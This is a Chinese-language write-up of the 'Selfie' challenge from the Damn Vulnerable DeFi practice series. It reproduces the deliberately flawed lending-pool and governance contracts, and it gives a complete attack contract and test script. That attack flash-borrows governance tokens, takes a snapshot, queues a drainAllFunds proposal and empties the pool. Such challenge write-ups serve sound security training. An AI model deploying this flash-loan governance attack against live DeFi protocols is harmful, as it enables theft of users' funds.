moon

moon

Build for builders on blockchain
github
twitter

Defi黑客系列:該死的脆弱DeFi (六) - 自拍

該死的脆弱 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。

題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/6.html

題目描述:

有一個借貸池提供 DVT token 的閃電貸功能,DVT token 用來作為治理代幣為 governance 合約提供治理功能。現在借貸池中有 150 萬個 token,你的目標是將這些 token 全部取出。

本題有三個智能合約:

  • DamnValuableTokenSnapshot 具有 snapshot 功能的 token 合約
  • SelfiePool 借貸池合約
  • SimpleGovernance 治理合約

首先看下借貸池合約的源碼

contract SelfiePool is ReentrancyGuard {
    using Address for address;
    // token 合約
    ERC20Snapshot public token;
    // governance 合約
    SimpleGovernance public governance;

    event FundsDrained(address indexed receiver, uint256 amount);

    // 確保函數的執行者是 governance 合約
    modifier onlyGovernance() {
        require(msg.sender == address(governance), "Only governance can execute this action");
        _;
    }

    // 構造函數: 創建 token 和 governance 實例
    constructor(address tokenAddress, address governanceAddress) {
        token = ERC20Snapshot(tokenAddress);
        governance = SimpleGovernance(governanceAddress);
    }

    // 閃電貸函數
    function flashLoan(uint256 borrowAmount) external nonReentrant {
        // 確保餘額充足
        uint256 balanceBefore = token.balanceOf(address(this));
        require(balanceBefore >= borrowAmount, "Not enough tokens in pool");
        
        // 將 borrowAmount 數量的 token 傳給 msg.sender
        token.transfer(msg.sender, borrowAmount);        
        
        // 確保 msg.sender 是合約地址
        require(msg.sender.isContract(), "Sender must be a deployed contract");

        // 呼叫 msg.sender 的 receiveTokens 方法
        msg.sender.functionCall(
            abi.encodeWithSignature(
                "receiveTokens(address,uint256)",
                address(token),
                borrowAmount
            )
        );

        // 確保已返還借出的 token
        uint256 balanceAfter = token.balanceOf(address(this));
        require(balanceAfter >= balanceBefore, "Flash loan hasn't been paid back");
    }

    // 提取該合約中的全部 token,並且只能由 governance 調用
    function drainAllFunds(address receiver) external onlyGovernance {
        // 獲取餘額
        uint256 amount = token.balanceOf(address(this));
        // 將 token 傳給 receiver
        token.transfer(receiver, amount);
        
        emit FundsDrained(receiver, amount);
    }
}

該借貸池合約提供了兩個方法

  • flashLoan 閃電貸方法,並且會回調調用者的 receiveTokens 方法
  • drainAllFunds 取出所有的 token,並且該方法的調用者必須是治理合約

接著再看下治理合約的源碼

contract SimpleGovernance {
    using Address for address;

    struct GovernanceAction {
        address receiver;
        bytes data;
        uint256 weiAmount;
        uint256 proposedAt;
        uint256 executedAt;
    }
    // 治理 token
    DamnValuableTokenSnapshot public governanceToken;
    // 存儲所有 action 的 mapping
    mapping(uint256 => GovernanceAction) public actions;
    // action 計數
    uint256 private actionCounter;
    uint256 private ACTION_DELAY_IN_SECONDS = 2 days;

    event ActionQueued(uint256 actionId, address indexed caller);
    event ActionExecuted(uint256 actionId, address indexed caller);

    // 構造函數,傳入治理 token 地址
    constructor(address governanceTokenAddress) {
        require(governanceTokenAddress != address(0), "Governance token cannot be zero address");
        governanceToken = DamnValuableTokenSnapshot(governanceTokenAddress);
        actionCounter = 1;
    }

    // 創建一個 action
    function queueAction(address receiver, bytes calldata data, uint256 weiAmount) external returns (uint256) {
        // 確保有足夠的投票
        require(_hasEnoughVotes(msg.sender), "Not enough votes to propose an action");
        // 確保 receiver 不是該合約
        require(receiver != address(this), "Cannot queue actions that affect Governance");

        // 將 action 保存到 actions 中
        uint256 actionId = actionCounter;
        GovernanceAction storage actionToQueue = actions[actionId];
        actionToQueue.receiver = receiver;
        actionToQueue.weiAmount = weiAmount;
        actionToQueue.data = data;
        actionToQueue.proposedAt = block.timestamp;

        actionCounter++;

        emit ActionQueued(actionId, msg.sender);

        // 返回 actionId
        return actionId;
    }

    // 執行創建的 action
    function executeAction(uint256 actionId) external payable {
        // 創建的 action 是否可以被執行
        require(_canBeExecuted(actionId), "Cannot execute this action");
        
        // 取出目前最新的待執行的 action
        GovernanceAction storage actionToExecute = actions[actionId];
        // 設置執行時間為當前時間
        actionToExecute.executedAt = block.timestamp;

        // 執行 action.receiver 的 data
        actionToExecute.receiver.functionCallWithValue(
            actionToExecute.data,
            actionToExecute.weiAmount
        );

        emit ActionExecuted(actionId, msg.sender);
    }

    function getActionDelay() public view returns (uint256) {
        return ACTION_DELAY_IN_SECONDS;
    }

    //  判斷一個 action 是否可以被執行
    // 1. 從來沒有執行過
    // 2. 創建時間超過 2 days
    function _canBeExecuted(uint256 actionId) private view returns (bool) {
        GovernanceAction memory actionToExecute = actions[actionId];
        return (
            actionToExecute.executedAt == 0 &&
            (block.timestamp - actionToExecute.proposedAt >= ACTION_DELAY_IN_SECONDS)
        );
    }

    // 判斷是否有足夠的投票
    // 擁有的 governanceToken 數量大於總量的一半
    function _hasEnoughVotes(address account) private view returns (bool) {
        uint256 balance = governanceToken.getBalanceAtLastSnapshot(account);
        uint256 halfTotalSupply = governanceToken.getTotalSupplyAtLastSnapshot() / 2;
        return balance > halfTotalSupply;
    }
}

治理合約核心就兩個方法

  • queueAction 創建 action 並保存相關的數據
  • executeAction 執行創建的 action,本質就是執行 action.receivedata

現在回過頭來,看下我們的最終目標:取光借貸池中的所有 token。只能通過調用方法 drainAllFunds 來達到目的,但該方法又只能由治理合約調用。似乎已經走入死路了,但別忘記了,治理合約中的 executeAction 方法內部會去執行 action.receivedata。如果 receive 是借貸池合約,datadrainAllFunds 方法,似乎是可行的。但前提是需要創建 action,但創建 action 的前提是擁有至少一半的治理 token。此時就可以通過閃電貸來達到擁有 token 的目的。

最終,我們的攻擊步驟如下:

  1. 通過閃電貸借出池子中的全部 token
  2. 在回調方法中,構造 drainAllFundsdata,調用治理合約的 queueAction 創建 action
  3. 返還 token
  4. 兩天後,執行治理合約的 executeAction 方法,將代幣轉移給攻擊者。

攻擊合約如下

SelfieAttack.sol

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

import "../selfie/SimpleGovernance.sol";
import "../selfie/SelfiePool.sol";
import "../DamnValuableTokenSnapshot.sol";

contract SelfieAttack {

  SelfiePool public pool;
  SimpleGovernance public governance;

  address public attacker;
  uint public actionId;

  constructor (address _pool, address _governance) {
    pool = SelfiePool(_pool);
    governance = SimpleGovernance(_governance);
    attacker = msg.sender;
  }

  function attack(uint amount) public {
    pool.flashLoan(amount);
  }

  function receiveTokens(address _token, uint _amount) public {
    // 構造 data
    bytes memory data = abi.encodeWithSignature("drainAllFunds(address)", attacker);
    // 執行快照
    DamnValuableTokenSnapshot token = DamnValuableTokenSnapshot(_token);
    token.snapshot();
    // 創建 action
    actionId = governance.queueAction(address(pool), data, 0);
    // 返還 token
    token.transfer(address(pool), _amount);
  }
}

調用 queueAction 後創建的 action 如下

{
  receiver: 借貸池合約,
	data: drainAllFunds(attacker)
  ...
}

兩天後,執行治理合約的 executeAction 方法時,會調用 receiverdata,也就是調用 借貸池合約的 drainAllFunds,參數是 attacker

// receiver 地址是 attacker
function drainAllFunds(address receiver) external onlyGovernance {
    // 獲取餘額
    uint256 amount = token.balanceOf(address(this));
    // 將 token 傳給 receiver
    token.transfer(receiver, amount);

    emit FundsDrained(receiver, amount);
}

最後在單元測試文件 selfie.challenge.js 中編寫執行代碼

it('Exploit', async function () {
  const SelfieAttackFactory = await ethers.getContractFactory('SelfieAttack', attacker)
  const selfieAttack = await SelfieAttackFactory.deploy(this.pool.address, this.governance.address)
  await selfieAttack.attack(TOKENS_IN_POOL)

  await ethers.provider.send('evm_increaseTime', [2 * 24 * 60 * 60])
  const actionId = await selfieAttack.actionId()
  this.governance.executeAction(actionId)
})

執行 yarn selfie,測試通過!

完整代碼

載入中......
此文章數據所有權由區塊鏈加密技術和智能合約保障僅歸創作者所有。